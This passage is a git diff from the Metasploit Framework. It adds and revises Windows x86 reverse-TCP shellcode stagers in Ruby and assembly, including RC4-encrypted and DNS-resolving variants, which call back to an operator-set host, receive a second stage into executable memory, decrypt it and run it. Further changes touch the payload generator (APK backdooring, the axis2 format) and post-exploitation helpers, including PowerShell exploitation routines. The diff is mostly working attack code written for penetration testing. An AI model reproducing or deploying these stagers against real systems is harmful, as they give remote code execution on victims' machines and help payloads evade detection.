rcx,[rsp+0x60] push rcx ; lpStartupInfo : current info (read) xor rcx,rcx push rcx ; lpCurrentDirectory diff --git a/lib/msf/core/payload/windows/rc4.rb b/lib/msf/core/payload/windows/rc4.rb new file mode 100644 index 0000000000..b9e1d3d0eb --- /dev/null +++ b/lib/msf/core/payload/windows/rc4.rb @@ -0,0 +1,98 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf + +### +# +# RC4 decryption stub for Windows ARCH_X86 payloads +# +### +module Payload::Windows::Rc4 + # + # Register rc4 specific options + # + def initialize(*args) + super + register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class) + end + + # + # Generate assembly code that decrypts RC4 shellcode in-place + # + + def asm_decrypt_rc4 + %! + ;-----------------------------------------------------------------------------; + ; Author: Michael Schierl (schierlm[at]gmx[dot]de) + ; Version: 1.0 (29 December 2012) + ;-----------------------------------------------------------------------------; + ; Input: EBP - Data to decode + ; ECX - Data length + ; ESI - Key (16 bytes for simplicity) + ; EDI - pointer to 0x100 bytes scratch space for S-box + ; Direction flag has to be cleared + ; Output: None. Data is decoded in place. + ; Clobbers: EAX, EBX, ECX, EDX, EBP (stack is not used) + + ; Initialize S-box + xor eax, eax ; Start with 0 + init: + stosb ; Store next S-Box byte S[i] = i + inc al ; increase byte to write (EDI is increased automatically) + jnz init ; loop until we wrap around + sub edi, 0x100 ; restore EDI + ; permute S-box according to key + xor ebx, ebx ; Clear EBX (EAX is already cleared) + permute: + add bl, [edi+eax] ; BL += S[AL] + KEY[AL % 16] + mov edx, eax + and dl, 0xF + add bl, [esi+edx] + mov dl, [edi+eax] ; swap S[AL] and S[BL] + xchg dl, [edi+ebx] + mov [edi+eax], dl + inc al ; AL += 1 until we wrap around + jnz permute + ; decryption loop + xor ebx, ebx ; Clear EBX (EAX is already cleared) + decrypt: + inc al ; AL += 1 + add bl, [edi+eax] ; BL += S[AL] + mov dl, [edi+eax] ; swap S[AL] and S[BL] + xchg dl, [edi+ebx] + mov [edi+eax], dl + add dl, [edi+ebx] ; DL = S[AL]+S[BL] + mov dl, [edi+edx] ; DL = S[DL] + xor [ebp], dl ; [EBP] ^= DL + inc ebp ; advance data pointer + dec ecx ; reduce counter + jnz decrypt ; until finished + ! + end + + def generate_stage(opts = {}) + p = super(opts) + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + c1 = OpenSSL::Cipher::Cipher.new('RC4') + c1.decrypt + c1.key = rc4key + p = c1.update(p) + [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p + end + + def handle_intermediate_stage(_conn, _payload) + false + end + + private + + def rc4_keys(rc4pass = '') + m = OpenSSL::Digest.new('sha1') + m.reset + key = m.digest(rc4pass) + [key[0, 4], key[4, 16]] + end +end +end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index b47015f67b..4f2f667f61 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -50,8 +50,8 @@ module Payload::Windows::ReverseHttp } # Add extra options if we have enough space - unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + if self.available_space && required_space <= self.available_space + conf[:url] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -61,7 +61,7 @@ module Payload::Windows::ReverseHttp conf[:proxy_type] = datastore['PayloadProxyType'] else # Otherwise default to small URIs - conf[:url] = generate_small_uri + conf[:url] = luri + generate_small_uri end generate_reverse_http(conf) @@ -98,7 +98,7 @@ module Payload::Windows::ReverseHttp # Choose a random URI length between 30 and 255 bytes if uri_req_len == 0 - uri_req_len = 30 + rand(256-30) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) end if uri_req_len < 5 diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index d11c607606..11a16588e9 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcp } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end @@ -65,6 +65,7 @@ module Payload::Windows::ReverseTcp start: pop ebp #{asm_reverse_tcp(opts)} + #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end @@ -93,12 +94,11 @@ module Payload::Windows::ReverseTcp # # @option opts [Fixnum] :port The port to connect to # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh - # @option opts [Bool] :reliable Whether or not to enable error handling code + # @option opts [Fixnum] :retry_count Number of retry attempts # def asm_reverse_tcp(opts={}) retry_count = [opts[:retry_count].to_i, 1].max - reliable = opts[:reliable] encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first @@ -153,7 +153,7 @@ module Payload::Windows::ReverseTcp handle_connect_failure: ; decrement our attempt count and try again - dec [esi+8] + dec dword [esi+8] jnz try_connect ^ @@ -178,7 +178,17 @@ module Payload::Windows::ReverseTcp asm << asm_send_uuid if include_send_uuid - asm << %Q^ + asm + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_block_recv(opts={}) + reliable = opts[:reliable] + asm = %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags diff --git a/lib/msf/core/payload/windows/reverse_tcp_dns.rb b/lib/msf/core/payload/windows/reverse_tcp_dns.rb new file mode 100644 index 0000000000..c665428374 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_tcp_dns.rb @@ -0,0 +1,167 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/reverse_tcp' + +module Msf + +### +# +# Complex reverse_tcp payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseTcpDns + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows::ReverseTcp + + # + # Register dns specific options + # + def initialize(*args) + super + # Overload LHOST as a String value for the hostname + register_options([ OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) ], self.class) + end + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + if self.available_space && required_space <= self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_tcp_dns(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp_dns(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_tcp_dns(opts)} + #{asm_block_recv(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count Number of retry attempts + # + def asm_reverse_tcp_dns(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the socket for the connection to the server + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + + reverse_tcp: + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); + + push eax ; if we succeed, eax wil be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + create_socket: + call got_hostname + + hostname: + db "#{opts[:host]}", 0x00 + + got_hostname: + push #{Rex::Text.block_api_hash( "ws2_32.dll", "gethostbyname" )} + call ebp ; gethostbyname( "name" ); + + set_address: + mov eax, [eax+28] ; names + push #{retry_count} ; retry counter + push eax ; host address + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save pointer to sockaddr struct + + try_connect: + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); + + test eax,eax ; non-zero means a failure + jz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec dword [esi+8] + jnz try_connect + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ + + asm << asm_send_uuid if include_send_uuid + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/reverse_tcp_rc4.rb b/lib/msf/core/payload/windows/reverse_tcp_rc4.rb new file mode 100644 index 0000000000..edbf6a1f5b --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_tcp_rc4.rb @@ -0,0 +1,180 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/reverse_tcp' +require 'msf/core/payload/windows/rc4' + +module Msf + +### +# +# Complex reverse_tcp_rc4 payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseTcpRc4 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows::ReverseTcp + include Msf::Payload::Windows::Rc4 + + # + # Generate the first stage + # + def generate + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + xorkey: xorkey, + rc4key: rc4key, + reliable: false + } + + # Generate the advanced stager if we have space + if self.available_space && required_space <= self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_tcp_rc4(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp_rc4(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_tcp(opts)} + #{asm_block_recv_rc4(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_block_recv_rc4(opts={}) + xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp + reliable = opts[:reliable] + asm = %Q^ + recv: + ; Receive the size of the incoming second stage... + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + xor esi, #{xorkey} ; XOR the stage length + lea ecx, [esi+0x100] ; ECX = stage length + S-box length (alloc length) + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + ; push esi ; push the newly recieved second stage length. + push ecx ; push the alloc length + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + ; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box + lea ebx, [eax+0x100] ; EBX = new stage address + push ebx ; push the address of the new stage so we can return into it + push esi ; push stage length + push eax ; push the address of the S-box + read_more: ; + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_socket: + ; clear up the socket + push edi ; socket handle + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call ebp ; closesocket(socket) + + ; restore the stack back to the connection retry count + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received + ; test esi, esi ; test length + jnz read_more ; continue if we have more to read + pop ebx ; address of S-box + pop ecx ; stage length + pop ebp ; address of stage + push ebp ; push back so we can return into it + push edi ; save socket + mov edi, ebx ; address of S-box + call after_key ; Call after_key, this pushes the address of the key onto the stack. + db #{raw_to_db(opts[:rc4key])} + after_key: + pop esi ; ESI = RC4 key + #{asm_decrypt_rc4} + pop edi ; restore socket + ret ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/windows/reverse_tcp_rc4_dns.rb b/lib/msf/core/payload/windows/reverse_tcp_rc4_dns.rb new file mode 100644 index 0000000000..51e2b06bf2 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_tcp_rc4_dns.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/reverse_tcp_rc4' +require 'msf/core/payload/windows/reverse_tcp_dns' + +module Msf + +### +# +# Complex reverse_tcp_rc4 payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseTcpRc4Dns + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows::ReverseTcpRc4 + include Msf::Payload::Windows::ReverseTcpDns + + # + # Generate the first stage + # + def generate + xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) + conf = { + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + xorkey: xorkey, + rc4key: rc4key, + reliable: false + } + + # Generate the advanced stager if we have space + if self.available_space && required_space <= self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_tcp_rc4_dns(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp_rc4_dns(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_tcp_dns(opts)} + #{asm_block_recv_rc4(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + +end + +end + diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index be1c5e95b7..0a358aae64 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -36,7 +36,7 @@ module Payload::Windows::ReverseWinHttp } # Add extra options if we have enough space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space <= self.available_space conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] diff --git a/lib/msf/core/payload/windows/verify_ssl.rb b/lib/msf/core/payload/windows/verify_ssl.rb index 3c038d488f..8cb1c97fe3 100644 --- a/lib/msf/core/payload/windows/verify_ssl.rb +++ b/lib/msf/core/payload/windows/verify_ssl.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'msf/core' -require 'rex/parser/x509_certificate' +require 'rex/socket/x509_certificate' module Msf @@ -25,7 +25,7 @@ module Payload::Windows::VerifySsl raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured" end - hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert) + hash = Rex::Socket::X509Certificate.get_cert_file_hash(handler_cert) print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") hash end diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index 33f57b220e..3f2a314b12 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -32,7 +32,7 @@ module Payload::Windows::BindTcp_x64 } # Generate the more advanced stager if we have the space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'], conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 1813b9922b..9dcba339f1 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -54,8 +54,8 @@ module Payload::Windows::ReverseHttp_x64 } # add extended options if we do have enough space - unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + if self.available_space && required_space <= self.available_space + conf[:url] = luri + generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -65,7 +65,7 @@ module Payload::Windows::ReverseHttp_x64 conf[:proxy_type] = datastore['PayloadProxyType'] else # Otherwise default to small URIs - conf[:url] = generate_small_uri + conf[:url] = luri + generate_small_uri end generate_reverse_http(conf) @@ -96,7 +96,8 @@ module Payload::Windows::ReverseHttp_x64 # Choose a random URI length between 30 and 255 bytes if uri_req_len == 0 - uri_req_len = 30 + rand(256-30) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + end if uri_req_len < 5 diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 3de55bd891..2ae880217e 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -41,7 +41,7 @@ module Payload::Windows::ReverseTcp_x64 } # Generate the advanced stager if we have space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 8c31863621..1ce0fad154 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp_x64 } # Add extra options if we have enough space - unless self.available_space.nil? || required_space > self.available_space + if self.available_space && required_space <= self.available_space conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 74ee6b6c4e..9c216b093e 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -9,6 +9,9 @@ module Msf class EncoderSpaceViolation < PayloadGeneratorError end + class PayloadSpaceViolation < PayloadGeneratorError + end + class IncompatibleArch < PayloadGeneratorError end @@ -284,20 +287,26 @@ module Msf payload_module = framework.payloads.create(payload) payload_module.datastore.merge!(datastore) case format - when "raw", "jar" - if payload_module.respond_to? :generate_jar - payload_module.generate_jar.pack - else - payload_module.generate - end - when "war" - if payload_module.respond_to? :generate_war - payload_module.generate_war.pack - else - raise InvalidFormat, "#{payload} is not a Java payload" - end + when "raw", "jar" + if payload_module.respond_to? :generate_jar + payload_module.generate_jar.pack else - raise InvalidFormat, "#{format} is not a valid format for Java payloads" + payload_module.generate + end + when "war" + if payload_module.respond_to? :generate_war + payload_module.generate_war.pack + else + raise InvalidFormat, "#{payload} is not a Java payload" + end + when "axis2" + if payload_module.respond_to? :generate_axis2 + payload_module.generate_axis2.pack + else + raise InvalidFormat, "#{payload} is not a Java payload" + end + else + raise InvalidFormat, "#{format} is not a valid format for Java payloads" end end @@ -308,20 +317,32 @@ module Msf if platform == "java" or arch == "java" or payload.start_with? "java/" raw_payload = generate_java_payload cli_print "Payload size: #{raw_payload.length} bytes" - raw_payload + gen_payload = raw_payload elsif payload.start_with? "android/" and not template.blank? cli_print "Using APK template: #{template}" - apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new() + apk_backdoor = ::Msf::Payload::Apk.new raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload) cli_print "Payload size: #{raw_payload.length} bytes" - raw_payload + gen_payload = raw_payload else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) encoded_payload = encode_payload(raw_payload) encoded_payload = prepend_nops(encoded_payload) cli_print "Payload size: #{encoded_payload.length} bytes" - format_payload(encoded_payload) + gen_payload = format_payload(encoded_payload) + end + + if gen_payload.nil? + raise PayloadGeneratorError, 'The payload could not be generated, check options' + elsif gen_payload.length > @space and not @smallest + raise PayloadSpaceViolation, 'The payload exceeds the specified space' + else + if format.to_s != 'raw' + cli_print "Final size of #{format} file: #{gen_payload.length} bytes" + end + + gen_payload end end @@ -376,7 +397,7 @@ module Msf encoders << e if e end encoders.sort_by { |my_encoder| my_encoder.rank }.reverse - elsif badchars.present? + elsif !badchars.empty? && !badchars.nil? framework.encoders.each_module_ranked('Arch' => [arch], 'Platform' => platform_list) do |name, mod| e = framework.encoders.create(name) e.datastore.import_options_from_hash(datastore) diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 1148263f8a..e4695a2b74 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -53,7 +53,7 @@ class Msf::Post < Msf::Module mod end - # This method returns the ID of the {Mdm::Session} that the post module + # This method returns the ID of the Mdm::Session that the post module # is currently running against. # # @return [NilClass] if there is no database record for the session diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 00f2ddfa9e..68051af4ce 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -57,7 +57,7 @@ module Msf::Post::Common # For example: you can use a python meterpreter on a Windows platform, and you will # get 'python/python' as your arch/platform, and not 'x86/win32'. # - # @returns [String] The archtecture recognizable by framework's ARCH_TYPES. + # @return [String] The archtecture recognizable by framework's ARCH_TYPES. def get_target_arch arch = nil @@ -161,7 +161,7 @@ module Msf::Post::Common # /bin/sh. # # This problem was originally solved by using Shellwords.shellwords but - # unfortunately, it is retarded. When a backslash occurs inside double + # unfortunately, it is unsuitable. When a backslash occurs inside double # quotes (as is often the case with Windows commands) it inexplicably # removes them. So. Shellwords is out. # @@ -338,4 +338,3 @@ module Msf::Post::Common end end - diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index aab8d03ceb..cd06d56eff 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -136,6 +136,8 @@ module Msf::Post::File end end + alias :exists? :exist? + # # Writes a given string to a given local file # @@ -143,7 +145,7 @@ module Msf::Post::File # @param data [String] # @return [void] def file_local_write(local_file_name, data) - unless ::File.exists?(local_file_name) + unless ::File.exist?(local_file_name) ::FileUtils.touch(local_file_name) end @@ -160,7 +162,7 @@ module Msf::Post::File # @param local_file_name [String] Local file name # @return [String] Hex digest of file contents def file_local_digestmd5(local_file_name) - if ::File.exists?(local_file_name) + if ::File.exist?(local_file_name) require 'digest/md5' chksum = nil chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) @@ -191,7 +193,7 @@ module Msf::Post::File # @param local_file_name [String] Local file name # @return [String] Hex digest of file contents def file_local_digestsha1(local_file_name) - if ::File.exists?(local_file_name) + if ::File.exist?(local_file_name) require 'digest/sha1' chksum = nil chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) @@ -222,7 +224,7 @@ module Msf::Post::File # @param local_file_name [String] Local file name # @return [String] Hex digest of file contents def file_local_digestsha2(local_file_name) - if ::File.exists?(local_file_name) + if ::File.exist?(local_file_name) require 'digest/sha2' chksum = nil chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read}) diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index 0a6aa38402..b7c2f3db45 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -21,4 +21,5 @@ module Msf::Post::Windows require 'msf/core/post/windows/ldap' require 'msf/core/post/windows/reflective_dll_injection' require 'msf/core/post/windows/kiwi' + require 'msf/core/post/windows/dotnet' end diff --git a/lib/msf/core/post/windows/dotnet.rb b/lib/msf/core/post/windows/dotnet.rb new file mode 100644 index 0000000000..ed6c0e0330 --- /dev/null +++ b/lib/msf/core/post/windows/dotnet.rb @@ -0,0 +1,88 @@ +# -*- coding: binary -*- +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +module Msf::Post::Windows::Dotnet + include ::Msf::Post::Common + include ::Msf::Post::Windows::Registry + + def initialize(info = {}) + super + end + # + # Searches the subkey for the value 'Version' which contains the + # actual version, rather than the over-arching release + # An alternative would be to query for it, and catch the exception. + # + + def search_for_version(dotnet_subkey) + dotnet_version = nil + begin + subkeys = registry_enumvals(dotnet_subkey) + rescue Rex::Post::Meterpreter::RequestError => e + print_status("Encountered exception in search_for_version: #{e.class} #{e}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + unless subkeys.nil? + subkeys.each do |subkey| + if subkey == 'Version' + dotnet_version = registry_getvaldata(dotnet_subkey, subkey) + break + end + end + end + return dotnet_version + end + + # + # Bruteforce search all subkeys in an over-arching release to + # locate the actual release version. + # + def get_versionception(dotnet_vkey) + exact_version = nil + begin + subkeys = registry_enumkeys(dotnet_vkey) + rescue Rex::Post::Meterpreter::RequestError => e + print_status("Encountered exception in get_versionception: #{e.class} #{e}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + unless subkeys.nil? + subkeys.each do |subkey| + exact_version = search_for_version(dotnet_vkey + '\\' + subkey) + unless exact_version.nil? + # if we find a version, stop looking + break + end + end + end + return exact_version + end + + # + # 'Public' function that returns a list of all .NET versions on + # a windows host + # + def get_dotnet_versions + ret_val = [] + key = 'HKLM\\SOFTWARE\\Microsoft\NET Framework Setup\\NDP' + begin + dotnet_keys = registry_enumkeys(key) + rescue Rex::Post::Meterpreter::RequestError => e + print_status("Encountered exception in get_dotnet_version: #{e.class} #{e}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + unless dotnet_keys.nil? + dotnet_keys.each do |temp_key| + if temp_key[0] == 'v' + key = 'HKLM\\SOFTWARE\\Microsoft\NET Framework Setup\\NDP\\' + temp_key + dotnet_version = get_versionception(key) + unless dotnet_version.nil? + ret_val << dotnet_version + end + end + end + end + return ret_val + end +end + diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index cea0bd1684..60ab07ab90 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -3,350 +3,352 @@ require 'msf/core/exploit/powershell' require 'msf/core/post/common' module Msf -class Post -module Windows + class Post + module Windows + ## + # Powershell exploitation routines + ## + module Powershell + include ::Msf::Exploit::Powershell + include ::Msf::Post::Common -module Powershell - include ::Msf::Exploit::Powershell - include ::Msf::Post::Common - - def initialize(info = {}) - super - register_advanced_options( - [ - OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]), - OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]), - OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]), - OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]), - ], self.class) - end - - # - # Returns true if powershell is installed - # - def have_powershell? - cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"') - return true if cmd_out =~ /Name.*Version.*InstanceId/m - return false - end - - # - # Get/compare list of current PS processes - nested execution can spawn many children - # doing checks before and after execution allows us to kill more children... - # This is a hack, better solutions are welcome since this could kill user - # spawned powershell windows created between comparisons. - # - def get_ps_pids(pids = []) - current_pids = 